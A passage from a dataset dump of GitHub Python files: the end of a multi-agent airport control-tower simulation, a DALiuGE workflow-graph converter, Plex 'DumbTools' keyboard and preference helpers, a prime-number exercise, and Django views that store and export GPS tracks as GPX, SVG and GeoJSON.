self.get('n_planes')\n                                    self.set('n_planes',n_planes - 1)\n                                    self.agent.write_log(f'Control Tower: Plane dealt with')\n                        #  Pedido de estado de aeroporto\n                        elif type == 'airport status request':\n                              self.agent.write_log('Control Tower: Airport status request')\n                              self.set('status_requester',source)\n                              self.agent.add_behaviour(ControlTowerStatusSender())\n\n                  elif performative == 'inform' and msg.body:\n                        package = jsonpickle.decode(msg.body)\n                        type = package.message\n                        # Gestor de gares informa que tem estacionamento disponivel\n                        if type == 'available station':\n                              self.agent.write_log('Control Tower: Station available')\n                              self.set('landing_confirmation',msg)\n                              self.agent.add_behaviour(ControlTowerLandingHandler())\n                        # Aviao avisa que ja aterrou\n                        elif type == 'landed':\n                              jid = package.body\n                              self.agent.write_log(f'Control Tower: Plane {jid} landed')\n                              # Tornar pista livre\n                              self.get('airport_map').free_airstrip(plane_id=jid)\n                        # Pedido para descolagem\n                        elif type == 'took off':\n                              jid = package.body\n                              self.agent.write_log(f'Control Tower: Plane {jid} took off')\n                              # Tornar pista livre\n                              self.get('airport_map').free_airstrip(plane_id=jid)\n                              # atualizar numero de avioes restantes\n                              n_planes = self.get('n_planes')\n                              self.set('n_planes',n_planes - 1)\n                              self.agent.write_log(f'Control Tower: Plane dealt with')\n                        # Pedido de estado do aeroporto\n                        elif type == 'station status report':\n                              self.agent.write_log('Control Tower: Stations status report')\n                              self.set('stations_status',package)\n                              self.agent.add_behaviour(ControlTowerStationStatusHandler())\n                        # Desistencia de aterragem\n                        elif type == 'give up landing':\n                              self.agent.write_log('Control Tower: Plane gave up landing')\n                              plane = package.body\n                              self.agent.pop_landing_queue(plane.id)\n                              package = Package('cancel arrival',plane)\n                              msg = Message(to=self.get('station_manager'))\n                              msg.set_metadata(\"performative\", \"inform\")\n                              msg.body = jsonpickle.encode(package)\n                              await self.send(msg)\n                              # atualizar numero de avioes restantes\n                              n_planes = self.get('n_planes')\n                              self.set('n_planes',n_planes - 1) \n                              self.agent.write_log(f'Control Tower: Plane dealt with')\n\n\n                  elif performative == 'query-if' and msg.body:\n                        package = jsonpickle.decode(msg.body)\n                        type = package.message\n                        # Gestor de gares procura uma pista para um aviao poder descolar\n                        if type == 'takeoff request':\n                              self.agent.write_log('Control Tower: TakeOff request')\n                              pos, plane = package.body\n                              self.agent.take_off_queue.append((pos,plane,current_time - self.agent.min_request_handle_time))\n\n            # Se ja tiverem sido tratados todos os avioes, encerra graciosamente\n            if self.get('n_planes') == 0:\n                  print('Ending')\n                  self.agent.write_log('Control Tower: Work Done.')\n                  await self.agent.stop()\n\n\nclass ControlTowerLandingHandler(OneShotBehaviour):\n      '''Trata dos passos finais da aterragem'''\n\n      async def run(self):\n            self.agent.write_log('Control Tower: Taking care of landing procedure')\n            message = self.get('landing_confirmation')\n            package = jsonpickle.decode(message.body)\n            airstrip,station,plane = package.body\n            \n            waiting = False\n\n            for p,_ in self.agent.landing_queue:\n                  if plane.id == p.id:\n                        waiting = True \n                        break\n            \n            if waiting:\n                  if self.get('airport_map').available_airstrip(airstrip.id):\n                        self.agent.pop_landing_queue(plane.id)\n                        # Reserva pista\n                        self.get('airport_map').reserve_airstrip(airstrip.id,plane)\n\n                        # Informa gestor de gares que pista ainda esta disponivel, para reservar gare\n                        self.agent.write_log('Control Tower: Reserving station')\n                        package = Package('confirm pending arrival',station.id)\n                        msg = Message(to=self.get('station_manager'))\n                        msg.set_metadata(\"performative\", \"inform\")\n                        msg.body = jsonpickle.encode(package)\n                        await self.send(msg)\n\n\n                        # Informar aviao que pode aterrar\n                        self.agent.write_log(f'Control Tower: Confirming plane {plane.id} still alive')\n                        package = Package('confirm landing',(airstrip,station))\n                        msg = Message(to=str(plane.id))\n                        msg.set_metadata(\"performative\", \"inform\")\n                        msg.body = jsonpickle.encode(package)\n                        await self.send(msg)\n\n                        # Esperar confirmacao do aviao\n                        msg = await self.receive(timeout=5)\n\n                        # Cancelar reservas se aviao nao responder\n                        if not msg:\n                              self.agent.write_log('Control Tower: Plane not responding, canceling landing.')\n                              self.get('airport_map').free_airstrip(id=airstrip.id)\n                              package = Package('cancel arrival',station.id)\n                              msg = Message(to=self.get('station_manager'))\n                              msg.set_metadata(\"performative\", \"inform\")\n                              msg.body = jsonpickle.encode(package)\n                              await self.send(msg)\n                              # atualizar numero de avioes restantes\n                              n_planes = self.get('n_planes')\n                              self.set('n_planes',n_planes - 1) \n                              self.agent.write_log(f'Control Tower: Plane dealt with')\n                        else:\n                              self.agent.write_log('Control Tower: Landing happening')\n            # avisar gestor de gares que aviao ja nao quer aterrar\n            else:\n                  self.agent.write_log('Control Tower: Plane has left landing queue.')\n                  package = Package('cancel arrival',station.id)\n                  msg = Message(to=self.get('station_manager'))\n                  msg.set_metadata(\"performative\", \"inform\")\n                  msg.body = jsonpickle.encode(package)\n\n\nclass ControlTowerRequestsHandler(PeriodicBehaviour):\n      '''Handler de pedidos de aterragem e descolagem, priorizando pedidos de aterragem'''\n\n      async def run(self):\n            self.agent.write_log('Control Tower: Checking requests')\n            min_time = self.agent.min_request_handle_time\n\n            type_chance = random.randint(0,9)\n            choice = None\n\n            # Tratar de pedidos de aterragem (70% de probabilidade de ter prioridade)\n            if type_chance > 2 or len(self.agent.take_off_queue) == 0:\n                  i,plane,timestamp = await self.choose_landing_request()\n                  if plane:\n                        current_time = time.time()\n                        # verifica se o pedido nunca foi tratado ou ja passou mais de 10 segundos desde ultima vez\n                        if not timestamp or timestamp < current_time - min_time:\n                              choice = plane\n                              self.agent.landing_queue[i] = (plane,current_time)\n                              available_airstrips = self.get('airport_map').available_airstrips()\n                              if available_airstrips:\n                                    self.agent.write_log('Control tower:Sending requests to station manager')\n                                    package = Package('landing request',(available_airstrips,plane))\n                                    station_manager = self.get('station_manager')\n                                    msg = Message(to=self.get('station_manager'))\n                                    msg.set_metadata(\"performative\", \"query-if\")\n                                    msg.body = jsonpickle.encode(package)\n\n                                    await self.send(msg)\n                                    self.agent.write_log('Control tower:landing request sent')\n\n            # Tratar de pedidos de descolagem\n            if not choice and len(self.agent.take_off_queue)>0:\n                  i,pos,plane,timestamp = await self.choose_take_off_request()\n                  current_time = time.time()\n                  # verifica se o pedido nunca foi tratado ou ja passou mais de 10 segundos desde ultima vez\n                  if not timestamp or timestamp < current_time - min_time:\n                        self.agent.write_log('Control tower: Choosing airstrip for takeoff')\n                        self.agent.take_off_queue[i] = (pos,plane,current_time)\n                        airstrip = self.get('airport_map').closest_available_airstrip(pos)\n                        # reserver pista, avisar gestor de gares e atualizar lista de espera para descolar\n                        if airstrip:\n                              self.agent.write_log('Control tower: Sending airstrip for takeoff')\n                              self.agent.take_off_queue.pop(i)\n                              self.get('airport_map').reserve_airstrip(airstrip.id,plane)\n                              package = Package('available airstrip',(airstrip,plane.id))\n                              station_manager = self.get('station_manager')\n                              if station_manager:\n                                    msg = Message(to=self.get('station_manager'))\n                                    msg.set_metadata(\"performative\", \"inform\")\n                                    msg.body = jsonpickle.encode(package)\n\n                                    await self.send(msg)\n\n            \n\n      async def choose_take_off_request(self):\n            '''Escolhe o pedido de descolagem mais urgente para tratar'''\n            # (i,pos,plane, timestamp)\n            chosen = (0,None,None,None)\n            for i,(pos,plane,timestamp) in enumerate(self.agent.take_off_queue):\n                  # iniciar\n                  if not chosen[1]:\n                        chosen = (i,pos,plane,timestamp)\n                  else:\n                        # escolher aviao com timestamp mais antiga\n                        if chosen[3] and timestamp:\n                              if timestamp and timestamp > chosen[3]:\n                                    chosen = (i,pos,plane,timestamp)\n                        elif timestamp:\n                              chosen = (i,pos,plane,timestamp)\n            return chosen\n      \n      \n      async def choose_landing_request(self):\n            '''Escolhe o pedido de aterragem mais urgente para tratar'''\n            # (i,plane, timestamp)\n            chosen = (0,None,None)\n            for i, (plane,timestamp) in enumerate(self.agent.landing_queue):\n                  # iniciar\n                  if not chosen[1]:\n                        chosen = (i,plane,timestamp)\n                  else:\n                        # escolher aviao com timestamp mais antiga\n                        if chosen[2] and timestamp:\n                              if timestamp and timestamp > chosen[2]:\n                                    chosen = (i,plane,timestamp)\n                        elif timestamp:\n                              chosen = (i,plane,timestamp)\n            return chosen\n\n\n\n\nclass ControlTowerStatusSender(OneShotBehaviour):\n      '''Enviar estado do aeroporto'''\n\n      async def run(self):\n            self.agent.write_log('Control Tower: Sending airport status.')\n            \n            destination = self.get('status_requester')\n            airstrips = self.get('airport_map').get_airstrips()\n            stations = self.get('airport_map').get_stations()\n            status = (airstrips,stations,self.agent.landing_queue,self.agent.take_off_queue)\n            \n            package = Package('airport status report',status)\n            msg = Message(to=destination)\n            msg.set_metadata(\"performative\", \"inform\")\n            msg.body = jsonpickle.encode(package)\n            await self.send(msg)\n            self.agent.write_log(self.agent.status())\n\n\n\nclass ControlTowerStationStatusHandler(OneShotBehaviour):\n      '''Tratar de atualizar as gares no mapa'''\n\n      async def run(self):\n            self.agent.write_log('Control Tower: Updating stations status.')\n            \n            status_package = self.get('stations_status')\n            stations = status_package.body\n            self.get('airport_map').update_stations(stations)\n\n\n\n\n\n\n\n\n\n\n\n                  ","repo_name":"brazafonso/ASMA-TP","sub_path":"behaviours/control_tower_behaviour.py","file_name":"control_tower_behaviour.py","file_ext":"py","file_size_in_byte":15531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"14364455092","text":"import subprocess\nimport os\nimport json\nimport sys\nimport datetime\nimport random\n\nimport networkx as nx\n\nimport utils.shadowgen.generator as generator\n\nEAGLE_EXT = \".input\"\nEAGLE_GRAPH = 'test/data/shadowgen/SDPContinuumPipelineNoOuter.input'\nCHANNELS = 10\nCHANNEL_SUFFIX = \"_channels-{0}\".format(CHANNELS)\nSEED = 20\nMEAN = 5000\nUNIFORM_RANGE = 500\nMULTIPLIER = 1\nCCR = 0.5\n\n\ndef edit_channels(graph_name, suffix, extension):\n    f = open(graph_name, 'r')\n    jdict = json.load(f)\n    f.close()\n    # TODO make this less hard-coded?\n    jdict['nodeDataArray'][0]['fields'][0]['value'] = CHANNELS\n    ngraph = graph_name[:-6] + suffix + extension\n    f = open(ngraph, 'w')\n    json.dump(jdict, f, indent=2)\n    f.close()\n    return ngraph\n\n\ndef unroll_logical_graph(graph):\n    cmd_list = ['dlg', 'unroll', '-fv', '-L',\n                graph]\n    jgraph_path = \"{0}.json\".format(graph[:-6])\n    with open(format(jgraph_path), 'w+') as f:\n        subprocess.call(cmd_list, stdout=f)\n    return jgraph_path\n\n\ndef generate_dot_from_networkx_graph(graph, output):\n    dot_path = \"{0}.dot\".format(output)\n    nx.drawing.nx_pydot.write_dot(graph, dot_path)\n    cmd_list = [\n        'dot',\n        '-Tpdf',\n        '{0}.dot'.format(output)\n    ]\n\n    dot_pdf = \"{0}.pdf\".format(output)\n    with open(dot_pdf, 'w') as f:\n        subprocess.call(cmd_list, stdout=f)\n        return dot_path\n\n\ndef json_to_shadow(\n        daliuge_json,\n        output_file,\n        mean,\n        uniform_range,\n        multiplier,\n        ccr,\n        node_identifier,\n        seed=20,\n        data_intensive=False):\n    \"\"\"\n    Daliuge import will use\n    :return: The NetworkX graph for visualisation purposed;\n    The path of the output file; None if the process fails\n    \"\"\"\n    random.seed(seed)\n    # Process DALiuGE JSON graph\n    unrolled_nx = _daliuge_to_nx(daliuge_json)\n\n    translated_graph = _add_generated_values_to_graph(\n        unrolled_nx, mean, uniform_range, ccr, multiplier, node_identifier,\n        data_intensive\n    )\n    # Convering DALiuGE nodes to readable nodes\n\n    jgraph = {\n        \"header\": {\n            \"time\": False,\n            \"gen_specs\": {\n                'file': daliuge_json,\n                'mean': mean,\n                'range': \"+-{0}\".format(uniform_range),\n                'seed': seed,\n                'ccr': ccr,\n                'multiplier': multiplier\n            },\n        },\n        'graph': nx.readwrite.node_link_data(translated_graph)\n    }\n\n    with open(\"{0}\".format(output_file), 'w') as jfile:\n        json.dump(jgraph, jfile, indent=2)\n\n    return translated_graph, output_file\n\n\ndef _daliuge_to_nx(input_file):\n    \"\"\"\n    Take a daliuge json file and read it into a NetworkX file\n    :param input_file: the DALiuGE file we are translating\n    :return: A NetworkX DiGraph.\n    \"\"\"\n    if os.path.exists(input_file) and (os.stat(input_file).st_size != 0):\n\n        with open(input_file) as f:\n            graphdict = json.load(f)\n\n        # Storing the nodes and edges from the unrolled DALiuGE input\n        unrolled_nx = nx.DiGraph()\n\n        # There is something about this simple.SleepApp that is a bug in the old DALiuGE Translator\n        for val in graphdict:\n            if 'app' in val.keys():\n                if val['app'] == \"dlg.apps.simple.SleepApp\":\n                    continue\n                unrolled_nx.add_node(val['oid'])\n                unrolled_nx.nodes[val['oid']]['nm'] = val['nm']\n\n        edgedict = {}\n        for val in graphdict:\n            if 'producers' in val.keys():\n                edgedict[val['oid']] = {'producers': [], 'consumers': []}\n                edgedict[val['oid']]['producers'] = val['producers']\n            if 'consumers' in val.keys():\n                if val['oid'] in edgedict:\n                    edgedict[val['oid']]['consumers'] = val['consumers']\n                else:\n                    edgedict[val['oid']] = {\n                        'producers': [], 'consumers': val['consumers']\n                    }\n\n        for val in graphdict:\n            if 'app' in val.keys():\n                # There is a known bug in DALiuGE about this.\n                if val['app'] == \"dlg.apps.simple.SleepApp\":\n                    continue\n            if 'outputs' in val:\n                for output in val['outputs']:\n                    for consumer in edgedict[output]['consumers']:\n                        unrolled_nx.add_edge(val['oid'], consumer)\n            if 'inputs' in val:\n                for inputs in val['inputs']:\n                    for producer in edgedict[inputs]['producers']:\n                        unrolled_nx.add_edge(producer, val['oid'])\n\n        for node in unrolled_nx.nodes():\n            unrolled_nx.nodes[node]['label'] = unrolled_nx.nodes[node]['nm']\n\n        return unrolled_nx\n\n\ndef _add_generated_values_to_graph(\n        nxgraph,\n        mean,\n        uniform_range,\n        ccr,\n        multiplier,\n        node_identifier,\n        data_intensive=False\n):\n    \"\"\"\n    Produces a new graph that converts the DALiuGE Node labels into easier-to-read values,\n    and adds the generated computation and data values to the nodes and edges respectively.\n    :param nxgraph: The NetworkX DiGraph that is with raw DALiuGE node information\n    :return: A NetworkX DiGraph\n    \"\"\"\n    translation_dict = {}\n    for i, node in enumerate(nx.topological_sort(nxgraph)):\n        translation_dict[node] = i\n\n    translated_graph = nx.DiGraph()\n    for key in translation_dict:\n        translated_graph.add_node(translation_dict[key])\n\n    for edge in nxgraph.edges():\n        (u, v) = edge\n        translated_graph.add_edge(translation_dict[u], translation_dict[v])\n\n    new = [node_identifier+str(node) for node in translated_graph.nodes()]\n    mapping = dict(zip(translated_graph, new))\n    translated_graph = nx.relabel_nodes(translated_graph,mapping)\n\n    comp_dict = generator.generate_comp_costs(\n        translated_graph.nodes, mean, uniform_range, multiplier\n    )\n\n    for node in translated_graph.nodes():\n        # translated_graph.nodes[node]['label'] = node_identifier+str(node)\n        translated_graph.nodes[node]['comp'] = comp_dict[node]\n\n    # Generate data loads between edges and data-link transfer rates\n    edge_dict = None\n    if data_intensive:\n        edge_dict = generator.generate_data_intensive_costs(\n            translated_graph.edges, mean, uniform_range, multiplier, ccr\n        )\n    else:\n        edge_dict = generator.generate_data_costs(\n            translated_graph.edges, mean, uniform_range, multiplier, ccr\n        )\n\n    for edge in translated_graph.edges:\n        translated_graph.edges[edge]['transfer_data'] = edge_dict[edge]\n\n    return translated_graph\n","repo_name":"myxie/shadow","sub_path":"utils/shadowgen/daliuge.py","file_name":"daliuge.py","file_ext":"py","file_size_in_byte":6695,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"18"}
{"seq_id":"7575901069","text":"# DumbTools for Plex v1.1 by Cory <babylonstudio@gmail.com>\nimport urllib2\n\n\nclass DumbKeyboard:\n    clients = ['Plex for iOS', 'Plex for Xbox One', 'Plex Media Player']\n    KEYS = list('abcdefghijklmnopqrstuvwxyz1234567890-=;[]\\\\\\',./')\n    SHIFT_KEYS = list('ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+:{}|\\\"<>?')\n\n    def __init__(self, prefix, oc, callback, dktitle=None, dkthumb=None,\n                 dkplaceholder=None, dksecure=False, **kwargs):\n        cb_hash = hash(str(callback)+str(kwargs))\n        Route.Connect(prefix+'/dumbkeyboard/%s'%cb_hash, self.Keyboard)\n        Route.Connect(prefix+'/dumbkeyboard/%s/submit'%cb_hash, self.Submit)\n        Route.Connect(prefix+'/dumbkeyboard/%s/history'%cb_hash, self.History)\n        Route.Connect(prefix+'/dumbkeyboard/%s/history/clear'%cb_hash, self.ClearHistory)\n        Route.Connect(prefix+'/dumbkeyboard/%s/history/add/{query}'%cb_hash, self.AddHistory)\n        # Add our directory item\n        oc.add(DirectoryObject(key=Callback(self.Keyboard, query=dkplaceholder),\n                               title=str(dktitle) if dktitle else \\\n                                     u'%s'%L('DumbKeyboard Search'),\n                               thumb=dkthumb))\n        # establish our dict entry\n        if 'DumbKeyboard-History' not in Dict:\n            Dict['DumbKeyboard-History'] = []\n            Dict.Save()\n        self.Callback = callback\n        self.callback_args = kwargs\n        self.secure = dksecure\n\n    def Keyboard(self, query=None, shift=False, **kwargs):\n        if self.secure and query is not None:\n            string = ''.join(['*' for i in range(len(query[:-1]))]) + query[-1]\n        else:\n            string = query if query else \"\"\n\n        oc = ObjectContainer()\n        # Submit\n        oc.add(DirectoryObject(key=Callback(self.Submit, query=query),\n                               title=u'%s: %s'%(L('Submit'), string.replace(' ', '_'))))\n        # Search History\n        if Dict['DumbKeyboard-History']:\n            oc.add(DirectoryObject(key=Callback(self.History),\n                                   title=u'%s'%L('Search History')))\n        # Space\n        oc.add(DirectoryObject(key=Callback(self.Keyboard,\n                                            query=query+\" \" if query else \" \"),\n                               title='Space'))\n        # Backspace (not really needed since you can just hit back)\n        if query is not None:\n            oc.add(DirectoryObject(key=Callback(self.Keyboard, query=query[:-1]),\n                                   title='Backspace'))\n        # Shift\n        oc.add(DirectoryObject(key=Callback(self.Keyboard, query=query, shift=True),\n                               title='Shift'))\n        # Keys\n        for key in self.KEYS if not shift else self.SHIFT_KEYS:\n            oc.add(DirectoryObject(key=Callback(self.Keyboard,\n                                                query=query+key if query else key),\n                                   title=u'%s'%key))\n        return oc\n\n    def History(self, **kwargs):\n        oc = ObjectContainer()\n        if Dict['DumbKeyboard-History']:\n            oc.add(DirectoryObject(key=Callback(self.ClearHistory),\n                                   title=u'%s'%L('Clear History')))\n        for item in Dict['DumbKeyboard-History']:\n            oc.add(DirectoryObject(key=Callback(self.Submit, query=item),\n                                   title=u'%s'%item))\n        return oc\n\n    def ClearHistory(self, **kwargs):\n        Dict['DumbKeyboard-History'] = []\n        Dict.Save()\n        return self.History()\n\n    def AddHistory(self, query, **kwargs):\n        if query not in Dict['DumbKeyboard-History']:\n            Dict['DumbKeyboard-History'].append(query)\n            Dict.Save()\n\n    def Submit(self, query, **kwargs):\n        self.AddHistory(query)\n        kwargs = {'query': query}\n        kwargs.update(self.callback_args)\n        return self.Callback(**kwargs)\n\n\nclass DumbPrefs:\n    clients = ['Plex for iOS', 'Plex Media Player', 'Plex Home Theater',\n               'OpenPHT', 'Plex for Roku', 'Plex for Xbox One']\n\n    def __init__(self, prefix, oc, title=None, thumb=None, **kwargs):\n        self.host = 'http://127.0.0.1:32400'\n        try:\n            self.CheckAuth()\n        except Exception as e:\n            Log.Error('DumbPrefs: this user cant access prefs: %s' % str(e))\n            return\n\n        Route.Connect(prefix+'/dumbprefs/list', self.ListPrefs)\n        Route.Connect(prefix+'/dumbprefs/listenum', self.ListEnum)\n        Route.Connect(prefix+'/dumbprefs/set', self.Set)\n        Route.Connect(prefix+'/dumbprefs/settext',  self.SetText)\n        oc.add(DirectoryObject(key=Callback(self.ListPrefs),\n                               title=title if title else L('Preferences'),\n                               thumb=thumb))\n        self.prefix = prefix\n        self.GetPrefs()\n\n    def GetHeaders(self):\n        headers = Request.Headers\n        headers['Connection'] = 'close'\n        return headers\n\n    def CheckAuth(self):\n        \"\"\" Only the main users token is accepted at /myplex/account \"\"\"\n        headers = {'X-Plex-Token': Request.Headers.get('X-Plex-Token', '')}\n        req = urllib2.Request(\"%s/myplex/account\" % self.host, headers=headers)\n        res = urllib2.urlopen(req)\n\n    def GetPrefs(self):\n        data = HTTP.Request(\"%s/:/plugins/%s/prefs\" % (self.host, Plugin.Identifier),\n                            headers=self.GetHeaders())\n        prefs = XML.ElementFromString(data).xpath('/MediaContainer/Setting')\n\n        self.prefs = [{'id': pref.xpath(\"@id\")[0],\n                       'type': pref.xpath(\"@type\")[0],\n                       'label': pref.xpath(\"@label\")[0],\n                       'default': pref.xpath(\"@default\")[0],\n                       'secure': True if pref.xpath(\"@secure\")[0] == \"true\" else False,\n                       'values': pref.xpath(\"@values\")[0].split(\"|\") \\\n                                 if pref.xpath(\"@values\") else None\n                      } for pref in prefs]\n\n    def Set(self, key, value, **kwargs):\n        HTTP.Request(\"%s/:/plugins/%s/prefs/set?%s=%s\" % (self.host,\n                                                          Plugin.Identifier,\n                                                          key, value),\n                     headers=self.GetHeaders(),\n                     immediate=True)\n        return ObjectContainer()\n\n    def ListPrefs(self, **kwargs):\n        oc = ObjectContainer(no_cache=True)\n        for pref in self.prefs:\n            do = DirectoryObject()\n            value = Prefs[pref['id']] if not pref['secure'] else \\\n                    ''.join(['*' for i in range(len(Prefs[pref['id']]))])\n            title = u'%s: %s = %s' % (L(pref['label']), pref['type'], L(value))\n            if pref['type'] == 'enum':\n                do.key = Callback(self.ListEnum, id=pref['id'])\n            elif pref['type'] == 'bool':\n                do.key = Callback(self.Set, key=pref['id'],\n                                  value=str(not Prefs[pref['id']]).lower())\n            elif pref['type'] == 'text':\n                if Client.Product in DumbKeyboard.clients:\n                    DumbKeyboard(self.prefix, oc, self.SetText,\n                                 id=pref['id'],\n                                 dktitle=title,\n                                 dkplaceholder=Prefs[pref['id']],\n                                 dksecure=pref['secure'])\n                else:\n                    oc.add(InputDirectoryObject(key=Callback(self.SetText, id=pref['id']),\n                                                title=title))\n                continue\n            else:\n                do.key = Callback(self.ListPrefs)\n            do.title = title\n            oc.add(do)\n        return oc\n\n    def ListEnum(self, id, **kwargs):\n        oc = ObjectContainer()\n        for pref in self.prefs:\n            if pref['id'] == id:\n                for i, option in enumerate(pref['values']):\n                    oc.add(DirectoryObject(key=Callback(self.Set, key=id, value=i),\n                                           title=u'%s'%option))\n        return oc\n\n    def SetText(self, query, id, **kwargs):\n        return self.Set(key=id, value=query, **kwargs)\n","repo_name":"sharkone/BitTorrent.bundle","sub_path":"Contents/Code/DumbTools.py","file_name":"DumbTools.py","file_ext":"py","file_size_in_byte":8216,"program_lang":"python","lang":"en","doc_type":"code","stars":143,"dataset":"github-code","pt":"18"}
{"seq_id":"73489017000","text":"import math \n#The function prime_validator is verifing if the parameter is a prime number\ndef prime_validator(function_variable):\n   for i in range(2, int(math.sqrt(function_variable)) + 1):  \n      if function_variable % i == 0:\n         return False\n   return True \n\ndef main(MainVariable):\n    Counter = 2\n    MainVariable = MainVariable - 1\n    Solution = 1  \n    while MainVariable > 0:\n        NumberHolder = Counter\n        if prime_validator(NumberHolder) == True:\n            MainVariable = MainVariable - 1\n            Solution = NumberHolder\n        else:\n            for i in range(2, NumberHolder // 2 + 1):\n                if NumberHolder % i == 0 and MainVariable > 0:\n                    MainVariable = MainVariable - i\n                    Solution = i\n                    while NumberHolder % i == 0:\n                        NumberHolder = NumberHolder / i \n        Counter = Counter + 1\n    return Solution\n    \nprint(\"Enter the number n:\")\nMainVariable = int(input())\nprint(main(MainVariable))\n","repo_name":"FilipPascuti/University-Projects","sub_path":"Fundamentals Of Programming/Assignment 1/exercice 14 test.py","file_name":"exercice 14 test.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"32224642930","text":"from django.shortcuts import render, get_list_or_404, get_object_or_404\nfrom django.contrib.auth.decorators import login_required\n\nfrom .models import Track\nfrom .models import Segment\nfrom .models import Point\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.urls import reverse\nfrom django.core.exceptions import PermissionDenied\nfrom django.views.decorators.http import require_http_methods\n\nfrom django.contrib.gis.geos import Point as gisPoint\n\nfrom django.db import transaction\n\nimport gpxpy\nimport gpxpy.gpx\n\nimport simplejson as json\n\ndef index(request):\n\n    if 'lat' in request.GET.keys() and 'long' in request.GET.keys() and 'radius' in request.GET.keys():\n\n        tracks = Track.objects.raw(\"\"\"\n        SELECT track.id\n        FROM tracks_track as track\n        INNER JOIN tracks_segment AS segment on segment.track_id = track.id\n        INNER JOIN tracks_point AS point on point.segment_id = segment.id\n        WHERE\n            ST_DWithin(\n                point.point::geography,\n                'Point(%s %s)'::geography,\n                %s)\n        GROUP BY track.id;\n        \"\"\", [float(request.GET['long']), float(request.GET['lat']), float(request.GET['radius'])])\n\n        subset_name = 'search'\n\n    else:\n        tracks = Track.objects.order_by('-id')[:50]\n        subset_name = 'latest 50 tracks'\n\n    context = {\n\t'tracks': tracks,\n        'loggedIn': request.user.is_authenticated,\n        'subset_name': subset_name,\n    }\n\n    return render(request, 'tracks/index.html', context)\n\n\n@transaction.atomic\n@login_required(login_url='/admin')\n@require_http_methods([\"POST\"])\ndef new_track(request):\n\n    if not request.user.is_authenticated:\n        raise PermissionDenied\n\n\n    parsed_gpx = gpxpy.parse(request.POST['raw_gpx'])\n\n    for track in parsed_gpx.tracks:\n\n        new_track = Track(name=track.name, owner=request.user)\n        new_track.save()\n\n        for segment in track.segments:\n\n            new_segment = Segment(track=new_track)\n            new_segment.save()\n\n            for point in segment.points:\n                new_point = Point()\n                new_point.latitude = point.latitude\n                new_point.longitude = point.longitude\n                new_point.altitude = point.elevation\n                new_point.point = gisPoint(point.longitude, point.latitude, srid=4326)\n                new_point.date = point.time\n                new_point.segment = new_segment\n                new_point.save()\n\n\n    return HttpResponseRedirect(reverse('tracks:detail',args=(new_track.id,)))\n\ndef detail(request, track_id):\n\n    tracks = Track.objects.all()\n\n    if not request.user.is_authenticated:\n        tracks = Track.objects.filter(public=True)\n\n    track =  get_object_or_404(tracks, id=track_id)\n\n    context = { 'track': track, 'segments': [] }\n\n    segments = Segment.objects.filter(track=track)\n\n    for segment in segments:\n        context['segments'].append({\n            'segment': segment,\n            'points': Point.objects.filter(segment=segment).order_by('date'),\n            'user': request.user,\n        })\n\n    return render(request, 'tracks/detail.html', context)\n\ndef get_gpx(request, track_id):\n\n    tracks = Track.objects.all()\n\n    if not request.user.is_authenticated:\n        tracks = Track.objects.filter(public=True)\n\n    track =  get_object_or_404(tracks, id=track_id)\n\n    gpx = gpxpy.gpx.GPX()\n    gpx_track = gpxpy.gpx.GPXTrack(name=track.name)\n    gpx.tracks.append(gpx_track)\n\n    segments = Segment.objects.filter(track=track)\n\n    for segment in segments:\n\n        gpx_segment = gpxpy.gpx.GPXTrackSegment()\n        points = Point.objects.filter(segment=segment).order_by('date')\n\n        for point in points:\n            gpx_segment.points.append(gpxpy.gpx.GPXTrackPoint(\n                point.latitude,\n                point.longitude,\n                elevation=point.altitude,\n                time=point.date\n            ))\n\n        gpx_track.segments.append(gpx_segment)\n\n    return HttpResponse(gpx.to_xml(), content_type=\"application/gpx+xml\")\n    #return HttpResponse(gpx.to_xml(), content_type=\"text/plain\")\n\ndef get_svg(request, track_id):\n\n    tracks = Track.objects.all()\n\n    if not request.user.is_authenticated:\n        tracks = Track.objects.filter(public=True)\n\n    track =  get_object_or_404(tracks, id=track_id)\n\n    results = Segment.objects.raw('''\n        SELECT\n            seg.id,\n            ST_AsSVG(\n                ST_Scale(\n                    ST_Translate(\n                        ST_MakeLine(p.point ORDER BY p.date),\n                        min(st_x(p.point)) * (-1),\n                        max(st_y(p.point)) * (-1)\n                    )\n                , 10000,10000),\n            1, 4) as svg_line\n        FROM tracks_segment as seg\n        INNER JOIN tracks_point AS p\n        ON seg.id = p.segment_id\n        WHERE seg.track_id = %s\n        GROUP BY seg.id;\n            ''', [track.id], {'svg_line':'svg_line'});\n\n    context = {\n        'svg_path_data': [res.svg_line for res in results]\n    }\n\n    return render(request, 'tracks/track.svg', context, content_type=\"image/svg+xml\")\n\ndef get_geojson(request, track_id):\n\n    tracks = Track.objects.all()\n\n    if not request.user.is_authenticated:\n        tracks = Track.objects.filter(public=True)\n\n    track =  get_object_or_404(tracks, id=track_id)\n\n    geojson_object = {\n        'type': 'FeatureCollection',\n        'features': []\n    }\n\n    segments = Segment.objects.filter(track=track)\n\n\n\n    for segment in segments:\n\n        if segment.points.count() >= 2:\n\n            geojson_segment = {\n                'type': 'Feature',\n                'properties': {},\n                'geometry': {\n                    'type': 'LineString',\n                    'coordinates': []\n                }\n            }\n\n            points = Point.objects.filter(segment=segment).order_by('date')\n\n            for point in points:\n                geojson_segment['geometry']['coordinates'].append([point.longitude, point.latitude])\n\n            geojson_object['features'].append(geojson_segment)\n\n    return HttpResponse(json.dumps(geojson_object), content_type=\"application/geo+json\")\n\n\ndef index_by_user(request, username):\n\n    tracks = Track.objects.all()\n\n    if not request.user.is_authenticated:\n        tracks = Track.objects.filter(public=True)\n\n    context = {\n        'tracks': get_list_or_404(tracks.filter(owner__username=username).order_by('-id')),\n        'loggedIn': request.user.is_authenticated,\n        'subset_name': 'tracks by ' + username,\n    }\n\n    return render(request, 'tracks/index.html', context)\n","repo_name":"koma5/bH5","sub_path":"tracks/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
